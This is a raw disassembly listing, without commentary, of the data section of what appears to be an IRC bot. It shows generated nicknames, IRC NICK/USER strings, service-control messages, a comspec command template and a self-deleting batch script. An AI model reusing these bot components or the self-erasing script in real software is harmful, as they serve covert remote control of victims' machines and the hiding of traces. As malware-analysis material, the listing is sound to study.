		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4386C0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
; ---------------------------------------------------------------------------
		aam	85h
		inc	ebx
		add	al, cl
		test	[ebx+0], eax
		rol	byte ptr [ebp-7A4BFFBDh], 43h


loc_43828B:				; DATA XREF: sub_417E35+41r
					; sub_417E35+ECr
		add	[eax-0BFFBC7Bh], ch
		xchg	eax, ebp
		inc	edx
		add	[ebp+eax*4-7A5FFFBDh], ah
		inc	ebx
		add	[eax-6BFFBC7Bh], bl
		test	[ebx+0], eax
		nop
		test	[ebx+0], eax
		mov	[ebp-7A7FFFBDh], al
		inc	ebx
		add	[eax-7Bh], bh
		inc	ebx
		add	[eax-7Bh], dh
		inc	ebx
		add	[eax-7Bh], ch
		inc	ebx
		add	[eax-7Bh], ah
		inc	ebx
		add	[eax-7Bh], bl
		inc	ebx
		add	[eax-7Bh], dl
		inc	ebx
		add	[ebp+eax*4+43h], al
		add	ds:85340043h[eax*4], bh
		inc	ebx
		add	[eax], dh
		test	[ebx+0], eax
		sub	[ebp-74E3FFBDh], al
		inc	ebx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_438B38
		dd offset aE		; "e"
		dd offset dword_438B34
		dd offset dword_438B30
		dd offset dword_438B2C
		dd offset aI		; "i"
		dd offset dword_42B938
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438B28
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438B40
		dd offset dword_438B20
		dd offset dword_438B3C
		dd offset dword_438B24
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438B24
		dd offset dword_438B30
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_4384E0
		dd offset aBbl		; "|bbl"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset a___0		; "_|_"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset dword_438AEC
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438B1C
		dd offset byte_43B4B8
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43B4B8
		dd offset byte_43B4B8
		dd offset dword_438AD0
		dd offset byte_43B4B8
		dd offset off_4384A0
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438460
		dd offset dword_43845C
		dd offset dword_438454
		dd offset dword_438448
		dd offset dword_438440
		dd offset dword_438438
		dd offset dword_438430
		dd offset dword_43842C
		dd offset dword_438428
dword_438428	dd 7536h		; DATA XREF: ___:00438424o
dword_43842C	dd 7535h		; DATA XREF: ___:00438420o
dword_438430	dd 7C75347Ch, 0		; DATA XREF: ___:0043841Co
dword_438438	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438418o
dword_438440	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438414o
dword_438448	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438410o
dword_438454	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043840Co
dword_43845C	dd 6C6F6Ch		; DATA XREF: ___:00438408o
dword_438460	dd 746F74h		; DATA XREF: ___:00438404o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438400o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:004383FCo
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:004383F8o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:004383F4o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:004383F0o
aShit		db 'shit',0             ; DATA XREF: ___:004383ECo
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:004383E8o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:004383E4o
		align 10h
off_4384A0	dd offset word_594F42	; DATA XREF: ___:004383E0o
aFree		db 'Free',0             ; DATA XREF: ___:004383CCo
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:004383C8o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:004383BCo
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:004383B0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:004383ACo
aLuvu		db 'LUVU',0             ; DATA XREF: ___:004383A8o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:0043838Co
aBbl		db '|bbl',0             ; DATA XREF: ___:00438380o
		align 10h
off_4384E0	dd offset loc_425241+1	; DATA XREF: ___:0043837Co
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438368o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438364o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438360o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:0043835Co
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438358o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:00438354o
aRt		db 'rt',0               ; DATA XREF: ___:00438350o
		align 10h
aGf		db 'gf',0               ; DATA XREF: ___:0043834Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438348o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00438344o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438340o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438320o
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0
		align 4
aSex_0		db '{sex}',0
		align 10h
aHub		db '{hub}',0
		align 4
aLuck		db '|luck|',0
		align 10h
aSuck		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 10h
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 10h
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 10h
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438278o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438274o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438270o
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: ___:0043826Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438268o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438264o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438260o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:0043825Co
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438258o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438254o
aAkden		db 'akden',0            ; DATA XREF: ___:00438250o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:0043824Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438248o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438244o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438240o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:0043823Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438238o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438234o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438230o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:0043822Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438228o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438224o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438220o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:0043821Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438218o
		align 10h
off_4386C0	dd offset byte_4B5245	; DATA XREF: ___:00438214o
aSevda		db 'sevda',0            ; DATA XREF: ___:00438210o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:0043820Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438208o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00438204o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00438200o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004381FCo
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004381F8o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004381F4o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004381F0o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004381ECo
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004381E8o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004381E4o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004381E0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004381DCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004381D8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004381D4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004381D0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004381CCo
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004381C8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004381C4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004381C0o
aHoly		db 'holy',0             ; DATA XREF: ___:004381BCo
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:004381B8o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: ___:004381B4o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:004381B0o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:004381ACo
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: ___:004381A8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004381A4o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004381A0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:0043819Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438198o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00438194o
aArda		db 'arda',0             ; DATA XREF: ___:00438190o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:0043818Co
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438188o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00438184o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438180o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043817Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00438178o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00438174o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438170o
		align 4
off_438854	dd offset byte_457441	; DATA XREF: ___:0043816Co
dword_438858	dd 414C5941h, 2Dh	; DATA XREF: ___:00438168o
aAlbina		db 'albina',0           ; DATA XREF: ___:00438164o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438160o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:0043815Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438158o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00438154o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438150o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043814Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438148o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00438144o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438140o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:0043813Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00438138o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00438134o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438130o
aArzu		db 'ARZU',0             ; DATA XREF: ___:0043812Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438128o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00438124o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438120o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:0043811Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438118o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00438114o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438110o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:0043810Co
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438108o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00438104o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438100o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004380FCo
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:004380F8o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004380F4o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: ___:004380F0o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004380ECo
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004380E8o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004380E4o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004380E0o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004380DCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004380D8o
aReshma		db 'reshma',0           ; DATA XREF: ___:004380D4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004380D0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004380CCo
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004380C8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004380C4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: ___:004380C0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:004380BCo
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:004380B8o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:004380B4o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:004380B0o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:004380ACo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:004380A8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: ___:004380A4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:004380A0o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: ___:0043809Co
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00438098o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00438094o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438090o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:0043808Co
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438088o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00438084o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438080o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:0043807Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438078o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00438074o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438070o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:0043806Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438068o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00438064o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438060o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043805Co
		align 4
aM_0:					; DATA XREF: ___:00438058o
					; ___:004383A4o
		unicode	0, <M>,0
word_438AC0	dw 4Eh			; DATA XREF: sub_41A367+38r
					; ___:00438054o
		align 4
dword_438AC4	dd 42h			; DATA XREF: ___:00438050o
dword_438AC8	dd 56h			; DATA XREF: ___:0043804Co
dword_438ACC	dd 43h			; DATA XREF: ___:00438048o
dword_438AD0	dd 58h			; DATA XREF: ___:00438044o
					; ___:004383D8o
dword_438AD4	dd 5Ah			; DATA XREF: ___:00438040o
dword_438AD8	dd 4Ch			; DATA XREF: ___:0043803Co
dword_438ADC	dd 4Bh			; DATA XREF: ___:00438038o
dword_438AE0	dd 4Ah			; DATA XREF: ___:00438034o
dword_438AE4	dd 48h			; DATA XREF: ___:00438030o
dword_438AE8	dd 47h			; DATA XREF: ___:0043802Co
dword_438AEC	dd 46h			; DATA XREF: ___:00438028o
					; ___:004383A0o
dword_438AF0	dd 44h			; DATA XREF: ___:00438024o
dword_438AF4	dd 53h			; DATA XREF: ___:00438020o
dword_438AF8	dd 50h			; DATA XREF: ___:00438018o
dword_438AFC	dd 4Fh			; DATA XREF: ___:00438014o
dword_438B00	dd 55h			; DATA XREF: ___:0043800Co
word_438B04	dw 59h			; DATA XREF: sub_41A68B+38r
					; ___:00438008o
		align 4
dword_438B08	dd 54h			; DATA XREF: ___:00438004o
dword_438B0C	dd 52h			; DATA XREF: ___:00438000o
dword_438B10	dd 45h			; DATA XREF: ___:00437FFCo
dword_438B14	dd 57h			; DATA XREF: ___:00437FF8o
dword_438B18	dd 51h			; DATA XREF: ___:00437FF4o
dword_438B1C	dd 62h			; DATA XREF: ___:00437FE8o
					; ___:004383B4o
dword_438B20	dd 78h			; DATA XREF: ___:00438334o
dword_438B24	dd 7Ah			; DATA XREF: ___:0043833Co
					; ___:0043836Co
dword_438B28	dd 6Ch			; DATA XREF: ___:00438308o
dword_438B2C	dd 68h			; DATA XREF: ___:004382F4o
dword_438B30	dd 67h			; DATA XREF: ___:004382F0o
					; ___:00438370o
dword_438B34	dd 66h			; DATA XREF: ___:004382ECo
dword_438B38	dd 64h			; DATA XREF: ___:004382E4o
dword_438B3C	dd 79h			; DATA XREF: ___:00438338o
dword_438B40	dd 77h			; DATA XREF: ___:00438330o
dword_438B44	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B1E+C3o
dword_438B50	dd 323334h		; DATA XREF: sub_417B1E+88o
dword_438B54	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B1E+67o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C15+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E35+BCo
					; sub_417E35+175r ...
		align 4
dword_438B9C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41827E+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_438BE8	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_41827E+E3o
; ---------------------------------------------------------------------------


loc_438C04:				; DATA XREF: sub_41827E+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_438C18	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_41827E+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41864A+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418791+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418835+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418857+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418857+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418857+48o
		align 4
unk_438CCC	db  2Dh	; -		; DATA XREF: sub_4189DF+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_438CFC	db  2Dh	; -		; DATA XREF: sub_4189DF+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438D24	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4189DF+5Co
		dd 65726165h, 64h
off_438D40	dd offset aAdd		; DATA XREF: sub_418BBF+6Dr
					; sub_418FA3+50r ...
					; "Add"
off_438D44	dd offset aAdded	; DATA XREF: sub_418BBF+2Dr
					; sub_418FA3+82r ...
					; "Added"
dword_438D48	dd 0			; DATA XREF: sub_418BBF+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438DB4h, 438DACh,	2, 438DA0h, 438D94h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00438D74o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00438D70o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00438D68o
aStart_0	db 'Start',0            ; DATA XREF: ___:00438D64o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00438D5Co
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00438D58o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00438D50o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00438D4Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_438D44o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_438D40o
unk_438E08	db  2Dh	; -		; DATA XREF: sub_418BBF+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438E2C	db  2Dh	; -		; DATA XREF: sub_418BBF+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438E58	db  2Dh	; -		; DATA XREF: sub_418BBF+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418CE8+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418CE8:loc_418E00o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418CE8:loc_418DF9o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418CE8:loc_418DF2o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418CE8:loc_418DEBo
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418CE8:loc_418DE4o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418CE8:loc_418DDDo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418CE8:loc_418DD6o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418CE8:loc_418DCFo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418CE8:loc_418DC8o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418CE8:loc_418DC1o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418CE8:loc_418D96o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418CE8:loc_418D8Fo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418CE8:loc_418D88o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418CE8:loc_418D81o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418CE8+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418CE8:loc_418D56o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418CE8:loc_418D4Co
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418CE8:loc_418D42o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418CE8:loc_418D38o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418CE8:loc_418D2Eo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418CE8+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418E66+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418E66:loc_418F32o
aStarting	db '   Starting',0      ; DATA XREF: sub_418E66:loc_418F2Bo
aStoping	db '    Stoping',0      ; DATA XREF: sub_418E66:loc_418F24o
aRunning	db '    Running',0      ; DATA XREF: sub_418E66:loc_418F1Do
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418E66:loc_418F16o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418E66:loc_418F0Fo
